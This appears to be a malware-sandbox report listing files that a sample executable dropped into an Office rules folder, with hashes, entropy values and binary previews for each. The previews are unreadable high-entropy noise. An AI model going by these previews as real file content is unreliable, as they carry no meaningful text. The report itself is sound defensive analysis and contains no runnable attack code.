Preview:	<?xml1.4u...<...%.T..0#.Zv%y.]...b.k.U........5&B`n.7.t...>Lh}4..!.<...&M....G7..KYtZ..@.3..bb.t...b.1...`h.w.B.....q.....ty.....O\|..._\|a.b"&...WA.P?..?.........,/c.voS1..kd...'........l.O{(.._.C..I..9)..(...j..6.PA.:.L.....n2c...F.f..b...?.~Iz/hbh)...X..y......J...?......."......_Ji..BQ....]Fr{ MD!D?.p$.=...V....gbR..V...iN.A.fM.i.;3.....Ai.W.>s...v..=p/..[...w..G...a./I..J.'@a..q...0..]O.N.@..L.....P...FzJ...:'..$..KM.b.%.........E..g.p.T2.@<T..........4..#..05Y.P.)~.X..E.LE....y.-.....1.....@...pE..>n.:....l.{xJ.v.....8@d.%.....v+..7@N...u!..EE..k..{........#+.....w\.J..0.z..........9.%k-..?.#.....e.QI.JyC. ..t.fF......\...W }G.{.+hX..7...9<.X....e.....l+.8.-..<.....a-m...z...'b...<.L.]..f).jQT...5.~X..D"....N.......X...t.>.r.hJ"Rg."....Z@.j.O#xJ.....:......7.7.2J.o>......O...l.C.............m.<..S.7....lM0......].H.>.=..k...I.........4$.M.UhL.sI.G3../..0.=c..............g.g\|..w..../(74...>.dz.F$.X.#..C.y....8..........S.-..f '........XKb

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.848122232477817
Encrypted:	false
SSDEEP:	24:zLTDEJfDuELtjN9/5XRCti7dMJk1se9jRaFBsaoFdgHPNg2N4hKMhVbD:zQJfDuolN15XU/U9taFBPSdKg2Ne5hFD
MD5:	C4C86687ED4EDF271803EA8C9281C0F6
SHA1:	E4FA0B3C31BB01194AC2082A205117F00C86074D
SHA-256:	1F1B7BCF300C3B81D91BDB22B53ECE48D981D61E3D3E2FD05AB00FE548F1DFBB
SHA-512:	A68B56F081E351F5D63257596126834F81F76AE9234208A467FAA50B30B6A09566C9DB465DE5D729C03CA500C364D94DA57E6FA347DF303DB3A926AD9013584F
Malicious:	false
Preview:	<?xml......{....%..Xd...../.b...@.Z...`........E.?.f.n3.0......g........NB.F)..]..j.xGB.$e.a..8.M.+0.Nq...!.!yJl.lY...O.{..i..d o.Dzm.q..4# z.Z......X.Vo!.+....[..9.yF..^kX.Z...d.w...@...,.Sc.U..XyoX.....`.M.&...S....>.W...........&.@,.v<.\|...~x:....~\bm..W.LY.Xz;AN......A._O.s8g...A9......>.....I!.@o0R....u.dN.G.a~Q...2.WB...... $.........'C.2p.....y..\.8.D>.e..H./.dA.-.q...^$v.,....G..e..y...h}.z...4....t..&...E%*.......s..r.p..VQ..C......T2.Jo.k.42.F6A...v..K.3.~P.i..RP.......F.N..;A/....&?.E......;...p....J...)..r.eG..l.p...36.O.K.'W..@.._...$=.q.v.f$r.......qRz..."O:....M.....\..$"3.u.y........).[p'...s.a.R}T.B.p....1 _E.........N....#...d0.n2iv..19%..d...&..$..@s...HZ..{....M......../..?4.+....S.W.....;N.$...H...E..y&..`...j..).1..>...8..e=..1.f.#r....hF..g.XQs...;C.....1.8.:.........F.4.nT.4.X..<..<b.<......+...??,/....)+l...J'...ds.%...K......M...#....~0.!.,..p{Qwa..qm...g...\|.2..5.%c..=......`...<....eU..^.0o..^..\>x..0....+..U...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.937651358898284
Encrypted:	false
SSDEEP:	48:AjVxfMLjAKuZd4AtLk/nI/BaJ14O36mvuYRCcKZ/CbCyAeuSv5wPrSppx+3FD:AjVBMXANT4AtKMBq36methBKhYOLx+39
MD5:	BDE97A62D3A89AEDA261EFA637AD488F
SHA1:	9383633F7CC01E7FD2F69715943EA00CD6C773B6
SHA-256:	B9F2A843ACA1F2F88BF64F123C1530C79AEB017CEF08BC57F75A83701A13643D
SHA-512:	D1CEA40C260BA34765C41C0288358F8B74395FAB39584214C1E10E9DC0C7244600CF17697535021841762B183AF2788501771C949376DCB422C6DD308AD10CD2
Malicious:	false
Preview:	<?xml..0.jCu....7\|.-Z...Mo._.....A../.y.].........$...../........o.D.6y..@~.....s$..........SD...#[..{...5D.r.\..~.~..0F.Q.0.x...c./.Jj;w`O#.JB=.)...D.B....Hs{....htIEd....~....K..u.>.VC.,.;K.S3#.1..q..[)O.........Z..&.8.\..['.T,.x..`.IA.v..v......+7. .r.7......8....~MlAS..e...'P........G.d;N@.3....;\&H\...V(...`.y ...Gc..(.^v.....l.:....}D`.{.o.-B]........PB........:./.;n.....x...i.0F......8A.[y.........T.s)...$../.X.e.1C.~...W.y...e.,..).tAA.o...a.p.8\|U.A.{.tw....P4/.4..\|......6]....o.w.=.W..........8.YA..^......r.5(...=..:.!C+..F.[k.x...o. ......].W.2..S1.%.-..=yN.+.~....au..(.........3.........d.(w2....)/..-K5.....(.....0.w.. .$oH.Ej.](Y...&.....A..-..z.Q;.YE).n=.....L...K..pf.Xt..<F.p.......Lu....f..b\|i..e....;.5?..C...(P.........k.B..c.yUB..a.m.3{y./\|7.H...ej+?CV.....{.\G.4{(...~M...1ly ~\|..n.\|.E.1M..O...f..._....&.U.Ld.?..x!..]....2..pG.D.(..q....kS.).}.N.g~.Y...(I<..5........7..g..w......B.M.x7.a..w.....Jw...:.78...#N.A4.P.W...j`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.911049850108782
Encrypted:	false
SSDEEP:	48:PVQ5s6VTBFcZde1ALe69ffrZjRTHhNGgdR1+IIFD:d+lFq0Ae6BTGgLI9
MD5:	0F01FC62DB71B034B9391C223A8E2BD9
SHA1:	2B589C6D32FF02EDFB2E315A77D296E1F8132CF1
SHA-256:	5CAE7EB3CF7DC8A53F7FE4C285BEF486ACD864038307738A3AEF9585EDBDDC90
SHA-512:	210F29E846495E8FE2C07DD01B675D8522CA49FBBB006D653764743B8B8138066A51B9F3BA2957627CD16DD6D962A4C642ABEA0A593F1EA775110D140A96A221
Malicious:	false
Preview:	<?xml.xm...xq5q.....7.;)...".^..y....#.-.)..n..>.%C1.g..B.W....(J...,`[............z...L...9...7.-...s.....:..}. ..gy...../.4IVSbw.W..k..._.U...6..i...1....-.<G...=..Nq..C.O..z......x...V-..`.3.r..d_........Q...8...q.Z.C...K..)..-...6g..`...q.....pM..?34..9.L.U.#Z..>.ngk......].kw.@!^.....:.A.(s.i......T...N"Y#..uncGw.....c.Rn{....h<.v....)z......../.`..............Y..c..w........`.a...3.....8.=..0.W.R.<[.t..i.....U.D...c..k.i..-b.:..9...2........@a.f..[...~.S.D....\|.\|.c.%.ROt&...[.."M.f...]..f........<IZK<[y!.L..f...UV....5G.w..R..T..4A.......q8:......U..h.9.F......=fZ.4MD)...,....P..7C.s.bcC.....6^8...Q,..,.......7.7Y......%......H$8.b.....f}.....:. ..X.......wy....vC......j.0>.S..0.%.....g.........../.....m\`?....U.N2....C....DZ....}V..@..Ky.^I.<U.....L...w.X.wI!F.......I.Y...~?b.%I..."....:.:8.A......)77.0..'h>.L..G...uEe..}m.~.Y6.>zI..+.r...\.l..w&.?.U..8.^.qX.;W..&.C...3-.A6..i0..WtI...\...7.,.6<*..1y....amx...o$}4..;.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.9732579875296805
Encrypted:	false
SSDEEP:	96:Ty3FfCZHup4+xyhDEKI/8c62PKGcx6jzg8NOgF1eIiV+aeZLsked8jiT4BL6dB9:JZOpwCz/jJPXcx6wSF1eI433keaod3
MD5:	4A5BB55024B91FE053E39357E26C2BE0
SHA1:	218C6E2FCA896E9355E6687055245A417DDE30DB
SHA-256:	2BAE7199C1AF2DDE10E649F51764998D8AA3CB03E32FC00B1082DF9E16536BFE
SHA-512:	656990678992CB46E11C988D8F686D2AAA536CB0C9DEDEFBEB91E39710B74C31A3C8B49E92CAAB542CC50398874217B3E6C9D047A69C6C4DB878E656FAD971D2
Malicious:	false
Preview:	<?xml96.Dw...x._z.WC..E..jt..Wf.a.m..T..0..W...^..M~....miR..9....yZ..s..m...+..!.../.K...7.H.O..\|m.._Y..@....r.u..............j.X.E@...c...Z.BM..j........n....f./..4..45.MPs&..>D..A.]..V.......'.x...Uo.0.<....)...2?.n..PNt.8...._lp.v....t>.:{..2...A.....l(\|@....`l>..b......=m..{j.Y..H...6....r.`!..=T.....e+\.j.df.\..<i.O...?...!..2.N\y..p.Q..,.B..m......;kn...&,.Y...m..V.DJ..k..Xe.\.A...A,..g.8..2.......n.......3..Q..,vV@..s.].8&B..K..'...`....e.r[..VH..Z%....-.!.g.=T....+..../..T..@..........N..+.dS{.\}...Fb.U%w..e.{......P.m.M-.....l..d........$.B..j6oA.,...g.g...G.yWVI.......psd...~%.De.Q.SN.p....Q...Q.X.........i....q.4......0..-D.F?........Qc@.y.`...H+...M.ta.J...2.(...,H...;X>d.9[.......\|.r..o..)!.5...........Yp....^....t6..8...t.X5.ZZ&.FT...D\|...\|.1C.{....R.......a..U.k..a0.n...N....6..7....d.&.%.L.t....X[_z.C'......d...+.......d.j%.k.1.....K.U..n..T.i.mQ.j.d..\=.e.2.].[....a.#C.U....s..^.S......8]..c.:....z.........0.:....S./....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.9566097288705615
Encrypted:	false
SSDEEP:	96:o7rD75VZUGsj25kq04+AhoypayB9PQt4vlTQ2/fB91rsFEku9:UrD75VsS5M4phzpkQlTQ2h916E7
MD5:	4FEB7C55AD602EC6B5221811BCF3B7F3
SHA1:	38152527094C842AF5EE7528A6E6D404BDE4CF04
SHA-256:	908EA8F9B84B5802EFFAA9C2F8FD2141D2D38E8289A5429EC753B87B641A0BC3
SHA-512:	AEF9283C8D0A4F9397BE0B21D9EAE55DA64D0B4CAF82573B9D89AD38B2CE17A01F93F4D7375B7EEFC88816724C53804DDC8C3FC4F2E5D7307A01DEA557D5E16B
Malicious:	false
Preview:	<?xml...M..j....8Ue...w./.....N.{..7...R$#\|.....D.~.kyyh..."..a..q?...u.j...\.'9L...T...u9B....G)Nq....3.#..dHTr.'..=b....k._.m...z.....'B..JU....X.(./~.4.x#.s...^....u.'x.#..-.w...V...kx../...>.....\|O..!.._<...-u....o.J..@...\8Y.k...<.. ...O...i\..p.TL..6.......,..k.........k..$6...K.{...6ql.....d.-..z.8-.8...........7......}.Hv+.[....0..!vk/.L...J.?M....Bb8MU..%....!.1=..w.......")..............}.)..n1.C.v..H.G..R3D.x..7..Zf....$k.k/[.p&,>M>c..&...(..n...^,....@"i..Sx..>.%...>q........#..I.T..Q'....S.f}..!..l).2qL$c.Y./.j.....x.W.....\y.8..3.Zo.f....(&.7x..'........\L.&\'2#.M.."..@p.Y..'..PX.............$a.8..Yl4..f...l.g...]....g...7I.,..>....7........n7.....d....=.2...gU>.X.F....B.v..S.t.y#O..u\|...&M`.81..)..._16+YiA..V?..m3Xq...F....c..k.J.Rj.0.p.!.92h...$_.....q4..kQ..B....62.J.z&.y.X..v.^......y...&..Z..tng.f.Wn.$.x.W.......5.Y)..x\|...?]!8.t.u8....I...C.A..qt.oI-...dI..0\...M..9.hv..T}m...Xo...7.s.9B......"...C..o......A.}Q..E:V.<>.$.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.953844428475394
Encrypted:	false
SSDEEP:	96:DqjrkHEbVIIJdRrU/PyCZqeF3wLd5Mruw5kPnb0IUD6C+ub9:DQkHkqIJdRrGy4HEd5MAovzT
MD5:	8E5DDB6DABD448821939DADBB45E94DA
SHA1:	0665E2F0DD1FAB75A0BEA0F41D7FCFF13D211A88
SHA-256:	10F2B16C5E7690FD656C38DFE4C4607D989F8537E7B554B44D75FC39847A98D1
SHA-512:	A88DC600167F1F6A32A5370C2B46CD61539811CB67C4E6EDD7D8FEC5528C6F0B31526B48C6EA832F77E55E5168C66DC2ED692EDC61F213D3B8AC788448C9AD5C
Malicious:	false
Preview:	<?xml[...q.pD..yG..+......Jy..2;%..c.#j0.....'.&je.?.^.I....h....V..]...t.5.....].fMni....$.!$k...m.......i.U...4....G....z.D..N.y.]g...I.B$..w...Qvl.x.Y.bh...".g$Y..F...k.UJ... c.....?.f.AJ].8.e....l.(.K.B_...T....v.Qq. ."....i,.L>.A>..U...C[X.Su%.B.I..i. ._d.....h...I,......s.......bg...<.'.?..7.^ ............k....-v.A.1....[V..}Q{..$0J{.Ns...s...2......B.5S..Y...J.c..r!...S.~Or..(......2.).Xn.....;..............5q?..L.OA..>....C....0cJ.j.FR...'m.....K.......xc%.....jc..-..W.4..(...:4..B/].?....].5.g%4V_H.a..+.0.31W.....=K_.....Y..~.S..C..w..P......T..L(..E...\.....9.2.G-...y....SZ.5.9#..i.I..hX.CF.......^N.M7Y.........xbMFZ.q.....U.1.Hf?E2T.)...+E=.Z..~..N..hK/....qb.H...y."......5.....y....ul......w.M.....H.1..[e.....%E..~...XE..}.Y...h.R.1.cFGY+5.\|3..ri.bEZ..!..A..r..N.Q..6...........6...\|O..X2.cp...L....G..ovSu.+...%.Y.]....o.:0y.a..T..n+.,.@.u.....08...\5.Lh...:.....)".....gH...j..7[......Z..2...b.9...S.......N>....s<S.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.934988806199379
Encrypted:	false
SSDEEP:	48:QMKv1/ajJb8bjP/NqoIdijVIeptCo8jnPuLWuYEKldbNBUultq/PgS8C03AVlQly:XOFbjXNRz6PcqbPUultq/Pj8C03ATMez
MD5:	EA40C9780C572E8CAC29C635B3E9EFFD
SHA1:	E28F34D3C8EDA74C1658C850A69F3F0964D7463B
SHA-256:	0A108AA1C4E6FE4E08130FC1F4FDA3B7E2F0BE512B41C696013C7182B3D8D92E
SHA-512:	A0B165FD00D7BEC118005DBD325478D55B2E3388070D50145F0C71AA59D0A334CB2DBD71764BF6CD5086328D54FE4FB548100F32A2C97A7B00FDA78D3735206C
Malicious:	false
Preview:	<?xml....O..(..i..t......m.8=..4........3.4...y:...\|. $.(...I..~.J}.....{..+.y.......\&.......>.x..w......UO.gn....,....R....5]......N...ff..&..w.$..e..!bi.`.)........-D\|v....N.....Q.D...H/.-.Lz.P{.+.T[<...:e...f........\|C..P.2..9[\..h...W.s8.#..\<.e...[.:.q..>.\|Z.1p.W}....6x.-.....1>"h{./..z.4.).o...A......=.3v4."jn.[..y+..#>Jz..s..c.q.5y..Yu..].p.....{...^)^.....%.uK.).i~..2..n..`.....v.H......{...U..as_\..7u.......p.rA...4...[..mX...@....T..p.7:..)....3p...SB...t.0D.r.iu....H....f.-+.+..V..M.S..O.`..~v.6..`>N....+Gw.[W...9..\..&N........v.{...y@...{s..].&........D.f=..[.ym...l.z....\..<..V......1}Ik@.......01..'..E..`2.W.am.>...b.;rH.m..._.c.y+.".G....b.x.....m...u.s..q....{.j.iL..d.a?u....-.ia.c....t...,..!)..S....8.T....Bq>...=...8..b].cB..}...xW.....6Z........6\|w...Ir...}.?tJ..Zt%.n....r.I,..G\|I-C...t.....^......$V....2.A....P....B.n.7.O,:.H..3.K.;...i.....v....-......^..Mj....cT........x...f(..^f..#....ls....4,.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.970477865430708
Encrypted:	false
SSDEEP:	96:huieYYGL0h+e4AMgy/YFVw4vzCvURkrqdfBC+8gWUzwAsDV5v2L0Uz4Q20ktGXP9:0H604emgy/YFW7vFqPCXgzsrEz4QVko1
MD5:	17588984C5E70E0D32764FF56230C238
SHA1:	102A34BA3C24E025918DFC56859407F026F7E0BA
SHA-256:	D1AD5086521F8AF8885F25336EC6A3C39FCF428BD9792F591EDEA0A29C321359
SHA-512:	FB1BD8C21BD13A30ED0E7DB202953C81B0F9D323E707AB0E80F7D827631EFE81D38EA150F83D025FE085EFE9019E7568D6141F177ECACFD8D989250708CE501F
Malicious:	false
Preview:	<?xml.u...vd.K..S,.'....o.J...h....~.U.y;...Q._.......i%..............<..C....N]>m..c...y<.Y>j......l&I.=Bc.n........R{....Z....r.\|prrZ_.T.h\].=R...X.Ph.W....pk.(V[..q]<,[2<K.2.\|X...xAq!.......3...GPa....c....M..;...k4.hR.lG.k^B........o...d.....n;=.O$....t....I.d.)...J..8.._R..M..f.X...X.....).(.....cb\|.=..~.D.-wv2T4.M6.K...KO.k......#...B.~...hurt._."y....pT.4..}..].&...(..l......b.M^......M.D...D3P7.K.2.?X.....1..5.<..M".E.....;...dA..g"h..nr~..]..O.I.2.Wc.....s..._......4.8.x\..........Ce.......\.>.2,..$..q...9.5\....]...O._...r.+Y\{h....q.._..Y.f.x..e#......_.y...s.H....zHR...#...d.{..Hz....<...u.%g.#.....]._q.BF.>...E.....e.....X.7..!....rS<`p...R<.....^+.2aK.....Q..<t..ZlM&.+.....*....D....6.!....M.z\..f....]...i...y..Q%B.M....T.&..@...S"......"OY.I..........i.s.K.X..%>Z........f.....<..>T.[.....bFR/b.n.9....q.`....[.(2.......d.......s.?p..t...o.0>....4.j.C.G....Mb....6..v..<t.(G.".4...-......M>.D....M.....O...:-;.sm....OIh..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.9084810272067125
Encrypted:	false
SSDEEP:	48:zfw1y0Kc/HsRiQtF8j3X5nYD/WRMmQOPxyf554rwr6FD:81yuHGvF8jZw/WRMmdsB69
MD5:	6E0DC08997E54D25FBF5D1E0D284DF1E
SHA1:	837D4208767F4782227F64EFE1AD088967F08D23
SHA-256:	49B4874FC4890F39E0D4B424CA9CFB2085E020FE17B2D5CE23200961F57F018F
SHA-512:	4BB2428B715AEC26AC51A7DBF9739D6904F97E95C609CE8C9ECA7009D4DA8DAF7B1DE24137DFB0E78C250F07C7605EDF989A8AACDE595C4AEB06873ABBC4E6DD
Malicious:	false
Preview:	<?xml.. ..#y..TQ...i.QH...,.e......+".%Li1...o..RW[z.o..i./a.....6,.K.u..#.rQ...>=.._d...~..'..Id..q...ot..x..!..".#7.>.vs,....6t3..0^.....H...a.:.......>.;...k.b>.I..%Z..-J.....5..b..FGmLg....T.)..<.i!w..T.].RQ......G...k[.f_2g.....8..X..;.p-ty.o....!s+....H.V..^.9..pR8.N.\|DvJKfF.Vr.k;r....C....H#...{.5a..u. .5. .Ce..i.s..../VR..<.H.._[..-...............^.J.....X.:.o).c....5........].Vl.....c..B.#....@..N:h...Y....G.-@....&..w.f")V. ...s.....c...QQ.@..F..a..+"..h.m..Yq.....gr.....z.f0%.........sG8.;...B......,.........:.G7R.....Z...pb^........F..Ti.},B.....A.....db....i_7}...:.m0K.......X..:N..G8.....J.FSH....\.'(......6.M.v......z.QpR..L..g[..o....o..Rno"R...J?$...S...........L..pOs}X`WpF........@`.j.....)..N.y.b..3fr..J....0=..._C.v`!..Zx...7..:..M".J.,..l.....b6k.Am.o...H.k.f.!.....%Sv..w...n+@......s.........X.<.q.?0`.*h..y....!.d..P.7.........l.n....'1.@NY.-D....U.oqH'A.<..lBLm.26.b..R.k.1.....R.N........>.Z......'..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.779300619144384
Encrypted:	false
SSDEEP:	24:5Ehx76zp8LnW95WzkF74g2aOuMPAZ6WG/8vOX174Og6c42VbD:GhlrW95WzY47ayAZKVXaRlFD
MD5:	5ABFC7E2B5986DEDBB10A48C71D2994E
SHA1:	CC95BF1061E6A2BBD4C052B0F0CBDBB297F3EAF2
SHA-256:	260D2177C7D37CA636B315844F80AE13911898D892F8158F8BF9A5A8626DDA52
SHA-512:	8AEB322D52ED3ECB8EA50716C4FE7F2568B38B1AA9E03AB55B75C3ACCD7BEEF58A1DA6CDB897D046D7CA43996067D5B0DDFF3160EA4468D95E6054C65B59DEB4
Malicious:	false
Preview:	<?xml......bL!.AM......T!..iE...5...#.^.O.fm.E..i.r.}L..jy.yoZS0pr_.I..f.y."+........-Y..8.Z.a&Tm..t5.+.O..U.#...Q..5A.-L.....+..O..~..F\\|pm.W..7p..2.x.R 0B>....;9....?..5-.!.[.I.....U..4lo.X2.Ayi.&...v...Y...^..8\|.7...\......!eh?B....K.._U ........i..W.....E.......()0......_...8.....s..1._....(..ty^.up..$....".t\|xyHTo.E..#....1.......#Wg..J..\.}..<n..,..qz.U.....t.~..O.._.{.Of.A.5j.%s-...!..B..e........>..~..R'{.j..4...7.3r.............~...\#.!=.........V.I.s.o.O....^_.[.M.B<..L.y......o.......]..:..1.....=.r..../8.}9&.ET..J.......t.<y.X.m.. .6<.Y..\|..0.v_u.@.1.!. .f.....fX.?".X..Nll......Q...np/.LEq.Bk.....f.s.&......:...p7n......p.f..H.h.wM;..].....xo.)...z...M:..q..........v$\|.0......WtsZ..S..JoZ....h.....V0.=2..G..8.9}^....5d0..q...F.V..!.e]...J.m.(n......z...B.....8K..x.......z.n..6..y..Th...\...z.2.y....!0P......n.VZZ.."..H\|2.Vk.......I.*.tR.].."E..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.930434305256623
Encrypted:	false
SSDEEP:	48:3S/SqxSmoqVd1IIBkZ0hYnkAcUJW4Wn1dHkKWo7MGi7tZg5ZYoQFD:iPSgKIRYHZJWFn1Woto8YB9
MD5:	DE87FFBD3C4D04C3A068D5915F502042
SHA1:	6A5F704769EA715AE3580434C3BD3EA79D8DD405
SHA-256:	CFA30F508083497E7129E8F577F35253F57C4BC4F1F3398464FB6078825B5AE6
SHA-512:	F46CF225910B5781EE3067157DEADEFA3B6F4465D0E9C77FEFB712B2BC51D2199812EB6B6174CD8058261AD66D0D530E303FC4B729536867148AF59B7C4DA480
Malicious:	false
Preview:	<?xml.}5....-n.z..l.=s.`&...by..H.'o`..".>R......M.^......x....PS....9.../C...D.[J.x..<..g.J7.X4X.;.5...<..G...L...x...Lr.4.Rnbo..g.!#_#.'....9.T....G(.gP39.........-@...Z..i'.OQ.QJ..\.H.a.HJb...!W1L.;...H99x......p.../b.I.v..u.L..a<Ie...[......\/5Y.==..N.M.BR..V(.<.UH.S.\|fL.t?...p...."........p...,h.........$...e....\|..(. [..:...c............\q.>.{D.et.[..r4.....]...a....f ......e~....(..\|..Y....c.!..?L6r}...=..,+........N`...j.(.j..Yt.&[..,.N.....PW.I.{.1........._oc..^..1....r4.0c+j....O......7_........TAAqz..).Y.^....S9...PUJ...."...~...12.k.uH.P........Q.%..kg..]..\..C...O...>..!.` p......0N4....y.2.C,..W..+.<.>...o....'...vHvW}w,....V1....+..U......P.._.LzV.?^..b.O........E].....Mh.#...(\|....E.&".>8_.....v..E.3+.@qM.$\|.o...x..W...-..f{..H.A.4e..u.Dp3.h}2,V.;.2FK..0.9.....RYY..L....l..F.}. s.........D..LEa."..~.X.h.a.'.$....a...#....k......:...@....]....O...E..A...p..._.e.n..k...b.n...;>......-X.od0A=.c.....!..as.l9.5..b3.CTe..-5...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.983974388256608
Encrypted:	false
SSDEEP:	192:zl9abYgBSus54lGf6Is1bRO4shIq/hRZP78E55iRma2E1Rcu6likHxa:zl9abD8usmGf6IsDkdT5hal1R4it
MD5:	A761C306C7EC7EAA2386FEF222772DE2
SHA1:	44889D21B2F5FA91DC74FA8505D1FFE94EEF2E95
SHA-256:	7CACB36BCDBBE32F4E737F6AAEB992652273F7FBC161F48EA65C582EE6CCEC1D
SHA-512:	1E9F9BD2D16E0F99221D98F1DAE213E713D232A52B8FCD9A38683FB507F1DA8D5000F529E1BF9DF47E8E210CDC19A2E36DBDB484E29C32A556B796D52992E92A
Malicious:	false
Preview:	<?xml!.'j......v.t......Ba'i;..c..25..LN..(...Na..;.A.a.o...P.zw..............-.....FDL..QB^#..W:}Iv.3....c.pL.vp.//....%]V............O9".J"K..my.Q4..g......cB.......3.}...i.e..t.Uo..J.QmE}7.T.K.G.A.%V9.6.O..@W...(........E.V. %.c.&.r.S.....dP.K'o\|KAQu.i].....W......I..y.?@.....C..,...M4j...[J.......vG.&....G.Ym..9...+.:..(.4.....}\|.c.a5.m...^y...r[.......s+oh.+/.>...4x......Vqx.(x...2.]...s1..{....,...y.u...I.5.V..).R..,[..O....3..9L....N7..0..8.W.lZ..>.N.`...7..]..G.bK...$<.)...P.%.t.Yx't..Lv....2..V.N....J$..{...z.....$.......<..S....g.K..Y....K.t.Z.d..G.^LG~{.:............o..R.8wY..PN..%.~....%...F.u....l..g.Q..b....YW....nW..X.....e..._/..<.W.I<.kx Vo.k...W.j{....f..'..]....f+.7....0.2l..G..m.@Ew......AX.....`....?...0.GV.\|...tM..ql.'.....(1?..;......./c.8...ti.m......... \|.....o..$.lhn..bV..B..X8D..JN....,(/4./.oc...q...O..zW.a.....[../......l....h.B.)..=%.i.[..H...]...Qd>.^.......~..K.k.\@~.......{.b....^.(..../...@.Q:.Z?lHs.?x...<..J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.694494080302091
Encrypted:	false
SSDEEP:	12:hNbXQRCSkdKTAsoAZ6FkXGOsTjNltsQZ3g05mG7yLBNiMprnTLPVQNheQEtejVcq:hxQ7Th6F5TjNlOWGmU/VQNAGVbD
MD5:	E715D92CE558149AF3A0B7B7A1C9B65C
SHA1:	86316AF9AC0798418F47EA9A313A889EFF30A97E
SHA-256:	21FA37072F7B6C9C3E999D13C8DFDF3157149CE7556245DA4A791127EF4676BD
SHA-512:	102000421C220F6CC28FF1D8A70C48A7F075160467C62DA7D8985767BA52D586789549E6EE512543DA02FB555B742E7911084AC2956777981BCAE0A7CDC780A0
Malicious:	false
Preview:	<?xml.%i'.E-g........pV.y.A.a.6...(.0..!.y.1K.t..2`.r/l.3..T..5v7.]n.gz....\<..Tzd......[..J...V....-0....~^.d(.....V.7...>....qx.....\|..]sD.:[....B...3S..(..........\4.@.%Z..V..5ME.....#..).........J#..".Nw~Kf.(...#7.Y#....;..I...#.p .#Mo.w......nz..bm..x..K...K.%..Q4...8^.}..0....)N=....8.z.P....ov3:.\|.P....,..A..J.PFK....y...........]Gd;.#...{k..Y.\|b...b......Y!O..J'g...eZ.7SP.@..Y.W.z.gW'.x x.r.P.=.E.\|...hk.\|.d......7._..d...3.lQ...........[..[...?3...ba.h.....m.7..L....~}'@Mb..a.K...L(.y.5.....xd.X.....^T...5..\.p.B....P....Z.m.........&...0....?.J..6..I.o...e.......Z:.e.1m.>,.........).].....!...q.(,.....L..[..~.h4Ie..o.<?JF).6I.Fh....D...y......>}C.m.........w.+L.:..eWitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.747400220632575
Encrypted:	false
SSDEEP:	12:4K/jbJ/5+H3jVLC1Ky4RQSyTeaOlJsbv8ju072NJBcjojGUwYWsi+nKxh/RcXyaz:4K/jbTW3McQSyTeaUJsQjbSBcGGUwQiI
MD5:	26508FED8180BCC7420BCD42AF73BD6F
SHA1:	062BE24E5B859FB22686F71FFBF11D17CF22EFB8
SHA-256:	FC418FB667DC8DA38A420160CE6FB23D7CBF60AAE8AEA14DBE3D9B6653276455
SHA-512:	5144DCDE051F89E721AE7CFF641EA67E06DCDF3B0F804C9314CF8C4B2E40449E9DEE6E637BE500327C8AFB0328F7128B9244E610E72D52C7671C799B7724CDB4
Malicious:	false
